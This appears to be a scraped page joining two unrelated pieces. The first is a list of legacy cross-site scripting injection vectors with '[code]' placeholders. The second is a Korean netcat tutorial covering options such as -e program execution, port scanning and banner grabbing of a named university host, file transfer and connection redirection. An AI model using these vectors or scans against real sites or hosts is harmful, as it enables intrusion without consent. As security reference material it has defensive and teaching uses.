<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>


// linuxerhan.blogspot.com/2007_01_14_archive.html

Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 매우 넓다.

 

옵션
usage: nc [options] [target host] [ports] 
-n : 호스트 네임과 포트를 숫자로만 입력받는다. 
-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다. 
-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다. 
-u : TCP connection 대신에 UDP connection 이 이루어 진다. 
-p [port number or name]: local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다. 
-s [ip address or DNS]: local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다. 
-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다 nc를 server 로서 쓸때 사용. 
-e [filename]: -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다. 
connection 이 이루어 졌을 때 file을 exec 시킨다. -l 과 같이 사용되면 한 instance만을 사용하는 inetd와 비슷하다. 
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다. 
-i [interval time]: nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 standard input의 한 라인씩 interval time마다 보내게 된다. 
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션. 
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize한다. 이때 주의 할 것은 -p가 -r을 override 한다는 것이다. 
-g : ?? 
-G : ?? 

사용
multi-port connection
nc는 한 호스트에 한 번에 여러 connection 을 만들수 있다. 이 때 다음과 같이 여러개의 포트를 기술할 수 있다.
nc [target host] 20-30 

이때 std input으로 입력되는 데이터는 한꺼번에 보내지게 된다.

port scanning
target host 의 지정된 범위내에서의 어떤 포트가 어떻게 사용되고 있는 가를 검색할 수 있다.

nc -v -w 3 -z wm.hanyang.ac.kr 20-30, 70-90

위의 명령은 다음 결과와 같이 20-30, 70-90 까지의 포트들에 대한 정보를 보여준다.
[xixi@wm xixi]$ nc -v -w 3 -z wm.hanyang.ac.kr 20-30, 70-90
iruril [127.0.0.1] 23 (telnet) open
iruril [127.0.0.1] 22 (ssh) open
iruril [127.0.0.1] 21 (ftp) open
iruril [127.0.0.1] 80 (http) open

이것보다 더 자세한 정보를 얻고자 할때는
echo QUIT | nc -v -w 3 [target host] [ports]
라고 하면 응답이나 에러메세지로부터 버전정보등도 얻을 수 있다.

[xixi@wm xixi]$ echo QUIT | nc -v -w 3 wm.hanyang.ac.kr 20-30, 70-90
iruril [127.0.0.1] 23 (telnet) open
????????iruril [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.6.1p2
Protocol mismatch.
iruril [127.0.0.1] 21 (ftp) open
220 (vsFTPd 1.2.0)
221 Goodbye.
iruril [127.0.0.1] 80 (http) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Method Not Implemented</title>
</head><body>
<h1>Method Not Implemented</h1>
<p>QUIT to /index.html not supported.<br />
</p>
<hr />
<address>Apache/2.0.48 (Fedora) Server at wm.hanyang.ac.kr Port 80</address>
</body></html>
[xixi@wm xixi]$ 

simple data transfer agent
nc를 이용해 간단한 data 전송을 할 수 있다.

receiver : nc -l -p 1234 | uncompress -c | tar xvfp -
sender : tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234

substitute of inetd
nc를 이용해 inetd에 등록하지 않고, 별다른 네트웍 설정 없이 프로그램을 테스트할 수 있다.

nc -l -p [port] -e [filename]

/*test.c*/ #include < stdio.h > main(){ getchar(); printf("<html><head></head><body>햐하</body></html>\n"); 
nc -l -p 1234 -e test

이렇게 하면 간이 www server 도 된다. 

connection redirecting 
inetd.conf을 아래와 같은 형식으로 고쳐서 다른 서버로 redirecting을 할수 있다.

www stream tcp nowait /etc/tcpd /bin/nc -w 3 zero 80 

위의 것은 현재 서버에서 http서비스를 zero서버로 redirect시켰다. 

performance testing 
nc를 이용해서 큰 데이터를 서로 보내고 받음으로써 network의 performance를 테스트할수 있다.

[root@wm xixi]# yes AAAA | nc -v -v -l -p 1234 > /dev/nul& listening on [any] 1234 ... [1] 14861 [root@wm xixi]# yes BBBB | nc iruril 1234 > /dev/null & [2] 14865 connect to [127.0.0.1] from iruril [127.0.0.1] 33029[root@wm xixi]# 
[root@wm xixi]# kill % punt! sent 559853568, rcvd 438149120 [root@wm xixi]#

+ Recent posts